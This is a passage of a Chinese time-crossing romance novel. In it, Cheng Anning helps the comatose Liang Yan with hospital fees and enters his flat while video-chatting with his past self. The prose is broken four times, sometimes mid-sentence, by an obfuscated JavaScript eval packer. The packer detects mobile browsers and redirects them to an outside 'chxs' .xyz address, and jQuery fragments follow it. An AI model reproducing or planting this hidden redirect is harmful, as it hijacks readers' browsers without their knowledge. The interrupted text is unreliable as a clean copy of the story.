原来她的心不在焉，她莫名焦灼的情绪和叹息，全是在因为他的事情发愁吗？ 想明白了这一点，梁彦轻笑一声，看着视频界面里那颗闷闷不乐的脑袋，眼里泛起一抹柔色，温声安慰：“没关系的，安宁。” 不要因为他的事情不开心。 程安宁倏地抬头看他，严肃反驳：“有关系！” 说着，她看到梁彦面带笑意，顿时来气，小脸恼怒：“你还笑得出来？我都要难过死了！我后来留住了照顾你的两位护工，还跟医院商量好了再给我一周的时间准备医药费。现在的问题是，我根本拿不出那笔钱，我也不想你被赶出医院，可是……” 她这边正念叨着，梁彦突然开口道：“谢谢你，安宁。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903770|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>程安宁吸了吸鼻子，随手拿过纸巾擦去眼角的泪花，神色疑惑：“谢我什么啊？我什么忙都帮不上。” 梁彦淡淡摇头，语气真诚：“你已经在帮我了，谢谢你为我的事情操心，也很抱歉让你为我的事情发愁。” 同样的，也谢谢她愿意在那样的情况下还敢站出来接管他的事情。 程安宁愣了愣，视频界面里，往日那双沉静忧郁的桃花眼正含着笑意，隔着屏幕专注地看她，让人不由得脸红心跳。 程安宁脸蛋发热，局促地错开他的视线，默默平复躁动的心跳，面上神色如常：“现在不是说这些客气话的时候！你说有什么办法可以解决当前的困境？” 梁彦沉吟片刻，提议道：“其实，如果另一时空的我身体情况已经恶化了并且注定面临死亡的话，可以不用管的。” 就算未来时空的他消亡了，但过去时空的他还好好的不是吗？ 只要等他避免那场车祸事故，那么未来的一切，也就是程安宁今天所面临的困境就不会发生。这样一来，程安宁不用因为如何帮助他解决当下的困境而操心了。 闻言，程安宁差点气笑，果断回绝：“不行！以你目前在我这个时空的情况，管都不管的话，肯定是注定面临死亡。但是明明可以避免最坏的结果发生，为什么要放任不管？” 病床上的梁彦，跟每天在电脑里跟她交流的梁彦是同一个人，两人隔着不同的时空相处和谐，像朋友一样安心，所以让她亲历这一时空的梁彦离世，她做不到。 她不想再面对任何一位她所熟识的人的死亡了。 “总之，这个提议驳回！”程安宁语气不带商量的余地，随后又继续补充今天这件事情的前因后果，让他能够更加清楚地了解整件事情。 梁彦听得认真，在听到贺明的行为，眉头渐渐蹙起。 程安宁嘴里的贺明，逐渐颠覆他对贺明这个人的认知。听上去确实像在把他逼上绝路。 说到最后，程安宁提议：“我在想，要不我联系一些媒体记者爆料你的现状，再假装不经意提起每年股份分红的事情，给贺明那边施加压力，你觉得怎么样？” 梁彦认真想了想这个办法的可行性，随后给出客观评价：“贺明的公关能力很强，可能没办法跟他斗。” 未来科技的创业初期曾经遭遇不少同行的眼红和诋毁，负面流言四起，公司一度差点被舆论压垮，后面是贺明出面公关摆平的。 如果程安宁真按照她所说的办法找上媒体记者爆料，可能消息还没传播出去，就已经被贺明压下去了。 闻言，程安宁重叹一声，一手撑着下巴，蔫巴巴地低下脑袋。 但很快，电脑另一端的梁彦给出一个稳妥的办法：“明天我会去办理一张银行卡的副卡，然后把它跟工牌放在同一个地方，密码我会设置成跟门锁密码一致，到时住院费和其它方面费用刷那张卡就可以了。” 40.40 程安宁愣了愣，神色犹豫：“你现在手头上能拿得出那么多钱吗？” 另一时空的梁彦，不，确切地说，另一时空的未来科技，还在崛起的关键阶段，梁彦手头上现有的可支配流动资金肯定是有限的，毕竟公司方面还要加大投入。 这个问题一出来，轮到梁彦愣住了。 但很快，他轻笑一声，淡淡点头：“我应该比你想象中的要有点小钱，所以这方面的问题我会解决，你不用担心。” 为了避免这过程会出什么差错，梁彦想了想，又做了一个决定：“我打算今后的每一笔收入会固定打进这一张卡里。如果公司在我出事后的每一年依旧有按照规定给我发放分红，那么五年后，也就是你所在的那个时空，卡里应该会有比较可观的余额。” 听到他的决策，程安宁面露惊异，一时忘了回话。 也就是说，卡里不止会有五年前他存放的钱，而是他接下来的每一项收入都会存在这张卡里。 这个家伙是有多放心她啊？ 其实卡里的金额只要能够让她解决当下的燃眉之急就行了，倒也不用把全部身家都放在那张卡里。 愣神间，梁彦再次开口：“这件事情我会尽快办好，你可能要再多等一天。” 这是在告诉她，上他家这一计划需要继续推迟，程安宁会意点头：“没事，我等你消息。” 事情有了明朗的解决办法，程安宁长舒一口气，脸上总算不再挂着愁色，伸展懒腰嘟囔：“看来今晚可以睡个好觉了。” 梁彦眼里染上笑意，适时叮嘱：“以后碰到什么难题直接告诉我就行了，不要给自己徒增烦恼。” 程安宁悻悻努嘴，“我一开始是觉得你在另一个时空听到这种情况，可能也是有心无力，还不如不要说出来让你烦心。” 今天发生太多事情了，虽然她暂时妥善处理好护工和医院方面的问题，但是整个人还是晕头转向的，一方面等贺明的电话和短信等得焦灼，另一方面只想着自己要如何解决眼下的难题，导致脑袋不够用了，没能想到另一时空的梁彦究竟能在这件事情上帮到什么。 闻言，梁彦眼里笑意加深，语气真诚：“谢谢你为我着想。” 隔着屏幕对上他专注含笑的眼眸，再结合这句话，气氛莫名有些微妙，程安宁小脸微热，局促地移开视线，一时不知道怎么回话。 但很快，梁彦也发现了这句话说出来怪怪的，有点像一个想跟人家搞暧昧的自恋狂，原本镇定自若的样子染上一丝无措，“我，我没有其它意思，我只是……真的很感谢你！” 难得见那张沉稳俊俏的脸庞有慌乱的一面，微妙的氛围就此被打破，程安宁噗嗤一笑。 清脆轻快的笑声通过电脑，传到了另一个时空。 程安宁亲眼看着视频界面里那张俊脸肉眼可见的变了一个色号，连带脖子也染上一层淡淡的绯红。 不过，她还是很给面子地收敛笑声，转而抬起右手假装挖了挖耳朵，打趣道：“我感觉我今晚单是听你说谢谢，耳朵都要长茧了。” 顿了顿，神色认真地补上一句：“其实没什么好谢谢的，这种事情本来就是相互的。既然我们达成了合作，对我来说，像今天这样的插曲也是属于合作里的一部分，我理应自己想办法摆平。” 话题的转变让梁彦顺利从刚才的尴尬境地逃脱。 他神色恢复如常，淡淡颔首：“话是这么说没错，可你不是说过有人商量的感觉很好么？还请你让我发挥一下我的作用。” 男人眼神坚毅，是隔着屏幕和不同时空都能让人感觉到的真诚。程安宁嘴角微扬，心里泛起丝丝暖意，郑重点头：“知道了。” - 既然决定接手管梁彦的事情，自然要比平时上心一些。 第二天傍晚下班，程安宁带上一束鲜艳的玫瑰花到了医院。 熟门熟路到了病房门口，两位护工正准备收工去吃晚餐，恰好打了个照面。 双方友善地打招呼寒暄，随后就此别过。 程安宁抱着花束进了病房。 空气中一如既往弥漫着消毒水气味，她的目光在病床上那道安静沉睡的身影停留片刻，随后把目光转向床头柜上插满玫瑰花的花瓶。 那些玫瑰花的状况和昨天看到的差不多，正无声衰败。 程安宁径直上前，一手抱着新花束，一手拿起花瓶，转身进了洗手间。 如果说花瓶里的那些花宛如这个时空的梁彦的现状，那么她不会放任花朵直至枯萎那一刻。 片刻后，程安宁把换上新花束的花瓶放回床头柜上，心满意足地拿过纸巾擦了擦手，主动跟病床上的身影搭话：“你看这些花多好看，我这次在花瓶里的水加了保鲜剂，是花店的老板娘送的，说是花期可以保持得比较久。” 说到这，她的目光再次转向病床上那张瘦削苍白的脸庞，对方仍旧沉静的，毫无生气的躺在那里，只有旁边摆放的心电监护仪显示着平缓起伏的心跳频率，才能让人有一种他还活着的真实感。 每次看到这副状态的梁彦，心里总是不可避免地涌上一股遗憾，程安宁在心里暗叹一声，轻声道：“你一定要撑住啊梁彦。” 病房外传来似有似无的说话声，应该是其它病房家属的声音，程安宁没有过多留意，拿出手机看了眼时间。 下秒，她眼皮一跳，收起手机告别：“好了，我现在要赶公交车回去了，不然错过这一班要等很久的，接下来我每天都会过来看看你，这样医院也知道我没有跑路，所以明天见了！” 说完，又严谨地自行纠正：“哦，不对，应该是，待会电脑上见！拜拜！” 匆匆走出病房，程安宁差点跟门外站着的两道身影撞上。 她及时停住脚步，看到照顾梁彦的两位护工还没离开，面露诧异。 与此同时，两位护工见她突然出来了，面上一喜，但很快一副欲言又止的样子，冲她尬笑。 程安宁见状，主动询问：“两位是有什么事情吗？” 护工阿姨推了推旁边的护工大叔，“你说吧。” 护工大叔往后退了一步，推了推她：“唉！还是你来说吧！” 程安宁无奈一笑，作势挪步：“你们不说的话，我要去赶公交了。” 闻言，两人这才没再推脱，赶紧拦住她，轮流开口把事情说清楚。 说到最后，护工阿姨笑了笑：“本来想着今晚抽空给你打个电话，但是没想到你傍晚会过来，我们就想着直接当面跟你说得了。” 程安宁点点头，仔细捋着刚才从两人嘴里听到的话：“所以你们的意思是，你们公司那边要跟我重新签合同，还要我先预支一半的薪水证明我有能力继续雇佣你们二位作为我男朋友的护工？” 两人异口同声：“是的。” 得到确认，程安宁神色疑惑：“重新签合同我能理解。可是为什么还要先预支一半的薪水？不是按照合同上规定的时间来吗？” 护工阿姨摇头，“我们也不太清楚。” 顿了顿，她看了眼四周，又神秘兮兮地压低声音道：“不过我从公司一位老乡那里听说有人打电话到我们公司，让我们领导确认一下我们的新雇主，也就是你，是不是有能力支付护工费。” 此话一落，程安宁顿时明了。 原来是这样。 她就说怎么会额外提出这样的要求，原来是有人在背地里搞小动作！ 而这个人，不难猜，毕竟清楚护工所在公司联系方式的人，除了贺明这个前雇主没有别的了。 本来眼下的处境就已经够艰难了，结果他还在暗地里添一把火，生怕这边的情况不够乱！ 好！很好！真是好得很！！ 程安宁太阳穴突突直跳，深呼吸一口气道：“我知道了，你们把我的联系方式给你们领导吧，我会亲自跟你们公司重新谈这件事的。” 两人会意点头，“好的。” 护工阿姨又道：“对了，今天有两个人过来探望梁先生，他们说自己是梁先生的父母。” 想起梁彦昨晚说起跟父母关系恶劣的缘由，程安宁这会儿没了任何期待，皱眉问道：“他们来做什么？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935859|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护工大叔接过话：“说是过来看看，他们还向我们打听梁先生的身体状况。” 护工阿姨一脸鄙夷，“这些年都是我们负责照顾梁先生的，但是一直不见梁先生的父母，这会儿突然出现，我看是带着其它心思来的。而且他们也只问了身体状况，半点看不到关心的样子，说句不好听的，更像是在盼着人家早点死似的。” “我还听到他们在走廊上争执，好像还提到什么律师。” 闻言，程安宁脸色一沉，默默收紧身侧的手。 她昨天刚给梁彦的父母打过电话，两人嘴上说不关自己的事情，结果今天就迫不及待过来打探梁彦的情况了，这是等着人赶紧死了好瓜分遗产吧？ 与此同时，护工阿姨的目光转向她，重新换上笑脸：“哪像我们程小姐是为了处理梁先生的事情出现的，果然是患难见真情，梁先生有你这样的女朋友是他的福气！” 突如其来的夸奖让程安宁愣了一瞬，而后尴尬笑笑：“我……这些年也没有出现，这一点我……” 话音未落，两人会心一笑，护工阿姨拉起她的手，亲昵地拍了拍手背：“其实我们前阵子从其他病房的家属那里听说了你和梁先生的事情，你也别怪我们八卦，耳朵就长在脑袋两边，想不听见别人说话都难。” “说实话，你和梁先生只是网恋，但是你能做到这份上，完全是出于自己的善心了！” 听到这番话，程安宁眸底闪过一丝异色，心里明了。 应该是当时她第一次找到医院和贺明在走廊上对质的时候，她编造自己是梁彦网恋对象一事被一些默默吃瓜的病人家属听到了。毕竟当时还闹到警察上医院来了，想不引起吃瓜群众的持续关注都难。 收回思绪，程安宁干笑着应付两人，随后绕回刚才的话题重点：“那你们是怎么回答梁彦他父母的？没有把我男朋友的真实情况透露出去吧？” 护工大叔拍着胸口道：“放心！我们最看不惯的就是这种无情势利的父母了，我们没怎么搭理他们，就敷衍着说梁先生的身体状况和平时一样。” “那就好。”程安宁松了口气，顿了顿，转而嘱咐道：“下次他们再过来的话，还要麻烦你们把他们赶走，如果他们在医院里闹的话就打电话给我。” “行，没问题。” 三人的谈话就此结束。 鉴于想搭乘的那一班公交车已经错过了，程安宁索性跟着两位护工在医院的食堂解决了晚餐，顺便咬咬牙付了两人的饭钱表示感谢，做足一位雇主应有的表面功夫。 待到回到家里，已经是晚上八点左右。 程安宁顾不得洗澡等一系列琐碎事，第一时间打开笔记本电脑。 屏幕亮起，旋即看到一个视频软件的窗口就挂在电脑桌面上。 视频界面里，男人坐得端正，挺拔如松，侧脸棱角分明，注意力聚集在另外一台电脑上，和前几次提前上线默默挂机等她一样。 程安宁面露喜色，迅速点开另一个视频软件，开口喊他：“梁彦！” 下一刻，视频界面里，男人顿住在键盘上有序敲动的双手，转头看向旁边的电脑。 看到电脑桌面上出现那道熟悉的身影，梁彦眼底闪过一丝微不可察的喜色，立刻把那台旧笔记本电脑放到自己面前，同时自然地接替了她平时晚上打招呼这一开场白：“晚上好。” 程安宁点头，神色急切：“我正好有事情想告诉你，还好你已经在线了！” 透过清晰的视频界面，梁彦看到她因流汗而微粘在额头上的发丝，不由得问道：“你刚到家吗？” 程安宁轻嗯一声，给桌上的小风扇插上电的同时不忘回话：“我今天下班就去医院看你了，还给你带了一束新的玫瑰花，我觉得比上一束还要好看。” 梁彦愣了愣，神色有些局促：“谢谢，你又破费了。” 已经是第二束花了。 电风扇吹出的凉风驱散了体感上的闷热，程安宁轻吐一口气，随后意识到自己在说无关紧要的话，她肃起小脸绕回正事：“不过，这不是重点！” 41.41 程安宁一口气把傍晚在医院里了解到的事情都说了出来。 说到最后，她气得咬牙，愤愤不平道：“他们越不希望你活着，你越要活下去，而且还要活得比他们久、过得比他们好，能把他们活活气死更好！” 先前她在不了解情况的时候，不想让另一时空的梁彦知道自己未来成为植物人还要遭遇众叛亲离的场面，怕他会心灰意冷从而自暴自弃，所以会有所隐瞒。 不过现在不一样了，现在她已经知道梁彦早就跟父母断绝关系，并且也跟梁彦说过他的朋友贺明的行径，梁彦没有多大的反应，说明这些事情对他来说不足以形成一个重大的打击，所以她知无不言，正好以此激励梁彦好好活着。 电脑的另一端，梁彦看她真情实感地站在自己这一边抱不平，眼里泛起笑意，点头附和：“好。” 顿了顿，他自觉汇报事情的办事进展：“我今天这边一切顺利，副卡已经办好跟工牌放在一起了，你可以随时到我家里来。” 闻言，程安宁立刻来了精神：“我想现在就过去，你把你家的地址给我吧。” 对于她的超绝行动力，梁彦眼皮一跳，旋即阻止：“晚上还是不要一个人出去了，白天再去吧。这样就算临时需要找人开锁也安全一些。” 程安宁冷静下来，遗憾轻叹：“也是。” 电脑另一端传来敲击键盘的声音，梁彦道：“我先把我家的地址打到聊天窗口上，你可以先拍下来。” 程安宁会意点头，拿出手机拍下电脑屏幕上冒出的地址，接着打开电子地图搜索距离。 是一处高档小区，不算远，也不算很近，从她这里打车过去要二十分钟。 大致明白他家地址在哪里之后，程安宁眸光微动，抬眼重新看向屏幕上那张清隽俊俏的脸庞，提出邀请：“明天要一起去吗？” 梁彦被问得一愣，目光触及她含着笑意却又意味深长的眼神，而后反应过来，会心一笑，点头应邀：“好。” - 天色透亮。 程安宁利索地做好出门准备，背上一个灰色背包，和往常一样的时间点离家，打车直奔目的地。 平时一早出门是为了赶着上班，今天是赶着去梁彦的家，为此她昨晚已经提前跟老板请了假。 她想过了，如果梁彦家的门能顺利打开最好，如果要到请人上门开锁的地步，肯定要多花一些时间折腾，而且不论需不需要找人开锁，进屋之后都还有其它一系列事情要做。与其着急忙慌地办完事情赶回去工作，还不如直接请假专心处理。 经历早上的上班高峰期的拥堵路况，比预期的时间还要多花十分钟，程安宁总算抵达小区其中一个大门。 先是在小区门卫室做了访客登记，她按照梁彦给的地址一路摸索，顺带参观了这个小区的环境。 临近市中心繁华地段中的高档小区，闹中取静，绿化和休闲娱乐等设施都有定期维护，色彩鲜亮。 最终，顶着逐渐强烈的阳光，程安宁在半问路和半摸索中，找到了梁彦家所在的单元楼。 她稍稍松了口气，随即乘着电梯抵达十楼，并且准确地找到了地址上对应的门牌号。 程安宁停下脚步，目光落在门上的智能锁，顿时紧张起来。 梁彦说过刘志辉不可能整整两年没去医院看望他，如果门锁能够正常开锁，也就意味着刘志辉还是把梁彦当朋友的。 如果门锁不能正常使用，那么意味着梁彦的那位好兄弟刘志辉没有把梁彦交代的事情放在心上。 只是，从梁彦先前笃定的态度，似乎刘志辉不可能失信。 万一……门锁没办法打开，是不是也有可能意味着刘志辉是出了什么事情才没能履行承诺？而她今天的任务之一，就是通过门锁验证刘志辉是否还在社会上正常活跃。 想到这，程安宁定了定神，神色紧绷地抬起手。 指尖触碰到微凉的屏幕，瞬间亮了起来，九宫格的数字键也跟着浮现。 程安宁眸光一亮，心里隐隐激动。 门锁能够正常唤醒！ 她不敢高兴得太早，很快克制住波动的情绪，屏息凝神地在屏幕上输入密码。 随着输入的数字把密码空位全都占满，门里传出机械转动的声响，紧接着，“咔哒”一声后恢复了平静。 程安宁见状，伸手握住门把手，用力往下一压，下秒，屋门被她轻松拉开。 程安宁在原地愣了一瞬，而后反应过来，面上狂喜，忍不住欢呼：“太好了！” 关于刘志辉这方面的困惑，答案显而易见了。 这意味着，贺明先前跟她说“刘志辉整整两年没去医院看望梁彦”这番话极大可能是假话。毕竟一位信守承诺的人，怎么可能没有到过医院探望自己的朋友？ 定了定神，程安宁站在门外张望屋内，不过视线范围受限，只能看到一片昏暗。 她试探性地敲了敲门，出声询问：“打扰了，有人吗？” 梁彦说过他是独居，那么他出事的这些年里家里肯定是没人的。 不过有履行承诺给门锁换电池的刘志辉，说不定在自己好兄弟这里住下来也是有可能的，保险起见还是不先冒然进屋了。 在接连问了三声没能得到回应后，程安宁这才挪步走进屋内。 玄关的鞋柜上有一排开关面板，她随手按下其中一个开关，不远处亮起了灯，是客厅的方向。 见状，程安宁又按下其它开关，这下屋里包括玄关的灯全都亮了起来。 原本黑得像鬼屋的屋内总算有了令人心安的光亮，她随即取下身后的背包，从里面拿出一台笔记本电脑放到鞋柜上，利索地打开笔记本电脑给电脑开机。 屏幕亮起，电脑桌面上自动冒出一个视频界面，一张鲜活熟悉的俊脸就出现在眼前。 此刻，另一时空的梁彦在桌前正襟危坐，手头上握着一份纸质文件，但目光几乎是不到两分钟就往电脑屏幕上看，似乎毫无心思做其它事情。 显然，他在等她。 程安宁嘴角微扬，迅速打开另外一个视频软件。 视频界面里刚实时显示出她的脸，就看到另一视频窗口里的梁彦视线定在屏幕上，原本波澜不惊的脸庞有了裂痕。 “安宁。” “梁彦！” 两人不约而同开口，在不同的时空覆盖了对方的声音。 看到那张熟悉的脸蛋出现，梁彦松了口气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951316|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，正要开口，就见屏幕里的程安宁笑意盈盈地冲他招手：“你家的门锁能够正常打开！我现在已经进到你家里了！” 程安宁端着笔记本电脑在玄关转了一圈，让他可以看到自己身后的背景。接着，她又调转电脑的方向，让镜头朝向前面，嘴边继续分享这个好消息：“你的朋友真的有做到你交给他的事情。” 昨晚她主动邀请梁彦要不要一起到他家，指的就是以这样的方式一同过来，目的自然是为了今天到他家之后遇到突发事情能够及时沟通。当时梁彦愣了一下就领悟这其中的意思了。 看着视频界面里再熟悉不过的家，听着那道难掩雀跃的背景音，梁彦眼里泛起清浅的笑意，轻嗯一声：“那就好。” 顿了顿，他指引道：“安宁，你往前走，我的卧室在左手边的第二个房间。” “好。”程安宁会意应下，把电脑屏幕的朝向调转回来，两人的视线里重新出现了对方。 她脱下鞋子，往屋里走，同时这才认真观察起眼前的一切。 屋内整体的装潢都被黑灰白的色调围绕，冷调的白光照亮空旷的空间，自带一种冷清和压抑，就像来到了房子主人的内心世界。 而她也有了意外发现，在梁彦出事的这些年里，屋里依旧一尘不染，不难看出有人在定期打扫维护。这个人除了刘志辉应该没有别人了。 程安宁很快走到其中一扇房门前，端着电脑在原地转了一圈让电脑另一端的梁彦看看周围，跟他确认：“是这一间吗？” 梁彦点头，“嗯，推门进去就可以了，我平时没有锁房门的习惯。” 闻言，程安宁腾出一只手握着门把手，轻松一拧，房门果然顺利被打开，只是里边似乎拉着窗帘，隔绝了外边的阳光，没有一丝光亮。 梁彦继续当着一位贴心的向导：“灯的开关就在右侧，伸手可以摸到。” 程安宁点点头，站在门口伸手摸索房间右侧墙壁的开关，果然摸到了凸起的开关面板。 “啪”的一声，房间里亮起灯，简约常规的家具摆设落入视线，色调和客厅一致。 程安宁一眼就看到角落里的黑胡桃木书架。 书架几近占据了半面墙壁，与天花板齐平的高度，上面摆满了各类书籍，严丝合缝。 她眸光一亮，旋即走进房间，嘴边不忘汇报：“我看到书架了，你等我一下，我这就去找那个盒子！” 说完，她随手把笔记本电脑放在桌上，转身走向书架。 电脑摆放的角度恰好让角落的书架入镜了，视频界面里，梁彦看着她走到书架前停下，仰头看着最上边那一层，嘴边念叨一句：“顶层左侧第一个位置。” 是他提前告知的盒子放置的位置。 接着，他看着程安宁踮起脚尖去测量书架顶层的高度，发现没办法够到那一层后，转头拉过一旁的椅子。 随后，她踩上椅子，踮起脚去取书架上那个以书本外形以假乱真的盒子。 虽然椅子稳固，但梁彦紧盯着那道倩影，莫名看出有种摇摇欲坠的感觉。 他不由得收紧双手，默默替程安宁捏了一把冷汗，眼里的懊悔一闪而过。 他考虑欠佳，不应该放那么高的。 42.42 与此同时，因为两人事先交流过东西摆放的位置了，程安宁在找盒子这一步骤自然再顺利不过。 她顺利取下书架上伪装书籍的盒子，直接跳下椅子。 梁彦看得一阵心惊，随着她双脚踩在结实的地面，悬着的心总算落地。 程安宁快步回到电脑前，脸上难掩欣喜的神色：“我找到了！是这个盒子没错吧？” 梁彦点头，“打开看看。” 程安宁低头拨动上面自带的密码锁，很快打开了盒子，里面放着梁彦的工牌和一张银行卡。 她眸光闪了闪，在电脑的镜头前亮出两张卡，跟他实时分享：“东西到手了！” 顿了顿，程安宁随即把两张卡谨慎收好，心情明朗乐观：“今天除了一开始在小区里找路之外，其余的都很顺利，这是个好兆头！说明我们接下来无论遇到什么难题都能成功化解，最后也都能如愿。” 看着她亮晶晶、充满期盼的双眼，梁彦被她的情绪感染，眼里泛起柔色，温声附和：“一定会的。” 程安宁扬起嘴角，端起桌上的笔记本电脑，“好了，接下来我可以去办其它正事了。” 这些天搁置的计划总算又可以行动起来了。 她关上灯，走出卧室。 正要跟电脑另一端的梁彦告别，抬眼看到对面紧闭的房门，好奇之下，随口问了一句：“你卧室对面的房间是客房吗？” 梁彦解惑：“我家里没有客房，那间是我简单置办的家庭健身房，里面都是我日常健身运动的一些器材。” 程安宁闻言诧异，还没开口，就听梁彦继续道：“可以随便参观，如果你想的话。” 既然房间就在眼前，房子主人也准许参观，那就顺便看看吧。 程安宁拧开对门的门把手。 和卧室不同，这个房间的窗帘遮光度不高，透过外面的阳光，能够看到房间里摆放的各类健身器材，叫得上名的，叫不上名的都有。 如果不是有健身习惯的人，是不会特地在家里弄一个家庭健身房的，由此看来，梁彦还是一位自律且有身材管理意识的大佬。 程安宁没有进去，只是站在门口看了看，语气佩服：“没想到你平时那么忙还能坚持锻炼啊，像我这种上了一天班回家就想躺着不动的人来说，简直难以想象。” 梁彦嘴角微扬：“只是坚持久了成为一种习惯，没有你想象的困难。” 程安宁双眼发亮，脱口而出问：“那你的身材岂不是很好？我可以看看吗？” 梁彦被问得一愣，脸庞不由得发热。目光局促地从视频界面移开。 这……要怎么看？ 在电脑前对着人家女生掀开衣服展示身材什么的，总感觉怪怪的，像在对人家进行性骚扰。 与此同时，程安宁说完话后意识这个请求有些突然，就好比原本两个礼貌友好的人在进行社会主义核心价值观的交流，其中一人却突然色鬼上身说想看对方的身体。 她呼吸一窒，急忙解释：“我，我我的意思是，你可以站起来让我看看吗？” 一个人的身材好不好，往哪儿一站就能知道个大概了，她刚刚也只是心血来潮，想看看梁彦常年健身的身形是不是和网络上那些秀身材的健身博主一样完美。 见氛围尬住了，程安宁又立刻找补：“如果不行的话，我也能理……” 话音未落，电脑另一端传来爽快的应答：“可以。” 紧接着，视频界面里的身影从椅子上起身。 男人宽肩窄腰，身形挺拔，虽然穿着休闲的黑T黑裤，但露在外边的手臂肌肉线条清晰紧实，不难猜出衣服之下也是同样极具力量感的身材。 拥有出众外貌和超强吸金能力的同时，还有着极品身材，简直是不给其他同类活路了。 程安宁突然想到了这个时空医院病床上的梁彦，消瘦枯竭，无人问津。 如果这个时候梁彦依旧平安无恙，肯定已经火出圈了吧？ 未来成功扭转命运的话，他的影响力是毋庸置疑的，而不是被大众逐渐遗忘。 收起复杂的思绪，程安宁神色如常地开口：“可以了，谢谢配合。” 梁彦回到电脑前坐下，心里正莫名期待能有所反馈，就听程安宁自然地转移话题问：“这一间房间又是什么？” 视频界面里，程安宁调转了电脑镜头的朝向，他看到了旁边另外一扇紧闭的房门。 梁彦眸底的黯淡一闪而过，耐心解答：“是书房，我平时居家加班待的地方，一样可以参观。” 是不符合她预期的样子吗？所以选择直接带过刚刚的话题？ 程安宁重新将笔记本电脑面向自己，脸上一副恍然大悟的样子：“也就是说，你这会儿就坐在里面对吗？” 她一开始就留意到了梁彦身后的背景不像在公司，只是在他家没能发现他所在的位置是在屋里哪个地方。 白皙娇俏的脸蛋重新出现在眼前，梁彦点头轻嗯一声。 因为约定了今早在电脑上碰面，他特地推迟了去公司的时间。 闻言，程安宁眸光微动，一时起了玩心：“那我跟你打声招呼吧。” 话落，腾出一只手拧开门把手。 昏暗静谧的书房落入视线，透过窗外的光线，程安宁认出不远处的书桌正是另一时空的梁彦这会儿坐着的地方。 恍惚间，她好像看到了一道挺拔的身影正坐在不远处，隔着时空与她对视。 程安宁弯着眉眼，煞有其事地冲着空荡荡的椅子打招呼：“早上好啊，五年前正在跟我视频聊天的梁彦。” 电脑的另一端，梁彦下意识抬眼，看向空荡荡的书房门口。 书房的门恰好敞开着，此时此刻，另一时空的程安宁就站在那个位置。 只是，分明正处于同一个地方，中间不过五米的距离，却隔着不同的时空，无法真正见到彼此。 与此同时，程安宁打完招呼觉得自己这样子怪傻的，不由得讪讪一笑：“这样是不是有点诡异？” 说着，她默默关上房门，挪步离开原地，跟电脑里的梁彦告别：“不玩了，我要去忙了，你也可以安心忙自己的事情了，晚上等我消息吧！拜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959631|153600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拜！” 梁彦掩起眼底的异色，淡淡颔首：“嗯，晚上见。” 说完，电脑桌面上属于程安宁的那一个视频窗口就此关闭。 耳边回到原有的静谧，梁彦视线重新落在书房门口，微微恍神。 如果他扭转了命运，那么五年后的今天，即便他坐在这里，也不会等到程安宁推门笑着跟他打招呼对吗？ …… 一取到关键的东西，程安宁雷厉风行，立刻把眼下悬而未决的事项全都一一处理了。 先是缴清梁彦住院的各项医疗费用，再是跑到护工所在的机构，以自己的名义重新签订雇佣合同。 虽然看似只有两件事，但是真正处理起来费时费力。不过能够在一天之内解决压在心头上的两件难题，程安宁总算彻底摆脱了这些天心里萦绕的忧虑和焦灼。 回家路上，她除了跟往常一样买走了面包店的边角料之外，特地买了一盒打折的小蛋糕庆祝，造型是一颗黄灿灿的柠檬，就像她家院子里，父母亲自为她栽种的那棵柠檬树结出的果子一样。 晚上，程安宁打开电脑，看到已经等在屏幕另一边的梁彦，神色诧异：“你今晚这么早上线啊。” 梁彦颔首低嗯：“今天没什么特别要忙的事情。” 顿了顿，他开门见山问：“你今天那边一切顺利吗？那张副卡可以正常使用吗？” 程安宁喜笑颜开，点头宣布：“非常顺利！现在医疗费和护工费的事情全都解决了！” 说着，她拿起刚从冰箱里拿出来的小蛋糕，放到电脑的摄像头前展示：“看！我还特地买了小蛋糕庆祝，顺便安抚我这些天不安的小心灵。” 看到那块柠檬形状的小蛋糕，梁彦的目光落在悬挂在电脑旁边的那颗用毛线钩织的柠檬挂件，不由得想到之前在夜市无意间听到程父说过程安宁的外号叫小柠檬。 